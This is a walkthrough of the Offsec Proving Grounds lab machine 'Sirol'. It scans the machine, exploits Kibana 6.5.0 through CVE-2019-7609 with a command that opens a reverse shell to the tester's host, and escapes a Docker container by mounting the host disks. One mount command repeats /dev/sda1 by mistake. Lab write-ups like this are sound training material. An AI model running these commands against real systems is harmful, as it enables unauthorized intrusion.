> For the complete documentation index, see [llms.txt](https://infintesky.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infintesky.gitbook.io/pentesting/proving-grounds/try-harder/linux/sirol.md).

# Sirol

Writeup for Sirol from offsec Proving Grounds

## Information Gathering

`rustscan -a 192.168.241.54 --ulimit 5000`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F12Zi6FMTtz1Bpa9EHhS2%2Fimage.png?alt=media\&token=cde29676-4602-4644-8ed8-2adb34a9cfe1)

`nmap -sC -sV --reason -p22,80,3306,5601,24007 192.168.241.54`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FLbch2L9l5MWIHfzbGIOi%2Fimage.png?alt=media\&token=f10eff00-0175-4a5d-9541-33e578e06559)

### Service Enumeration

### Kibana (Port 5601)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FvMxEpLsUNH9Iky55oO2E%2Fimage.png?alt=media\&token=84e5e03c-80a6-4769-a36f-bbe493d10b25)

Under the Management tab, we can find the version number of Kibana that is running.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FmexA8ALuiRRCMwrSl1vd%2Fimage.png?alt=media\&token=bdd11712-f0bd-4d6b-9b09-ac0ef9ba5c14)

## Exploit

Kibana Version 6.5.0 contains an arbitrary code execution flaw in the Timelion visualizer.

{% embed url="<https://github.com/LandGrey/CVE-2019-7609>" %}

Payload: `python CVE-2019-7609-kibana-rce.py -u http://192.168.241.54:5601/ -host 192.168.49.241 -port 12345 --shell`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Foi3qlG4z2r4mTiIUZ7Sd%2Fimage.png?alt=media\&token=794c329c-aa34-491d-8c1e-d05d276002d3)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FvVM9Tu9zI98Toyr9FsiM%2Fimage.png?alt=media\&token=5a08e6a5-bb5a-4383-8886-a3da2990239c)

## Privesc

While we are already the root user, the root directory doesn't seem to have what we are looking for.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FIOTqd62os8sECKpgGjPF%2Fimage.png?alt=media\&token=9ad9f3e0-1f2c-43df-bdff-8ddc1bcc0f78)

Notice that when we list the contents in the root directory, there is a `.dockerenv file`. This along with the fact that our hostname is a bunch of alphanumeric characters would likely indicate that we are in a docker container.

Using the command `fdisk -l` we can see what other disks are there.

We can then create a directory and mount all other disks.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FdlZN7ergsll5EGuKoAJA%2Fimage.png?alt=media\&token=eca46578-9bb1-4eeb-a970-96e91600bbb2)

```
mkdir /mnt/sda1
mkdir /mnt/sda2
mkdir /mnt/sda5

mount /dev/sda1 /mnt/sda1
mount /dev/sda1 /mnt/sda2
mount /dev/sda1 /mnt/sda5
```

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FUhcGCU4Y3ZpxUHFqYJtP%2Fimage.png?alt=media\&token=2729c289-ecec-422e-8c0f-7754ce6a2438)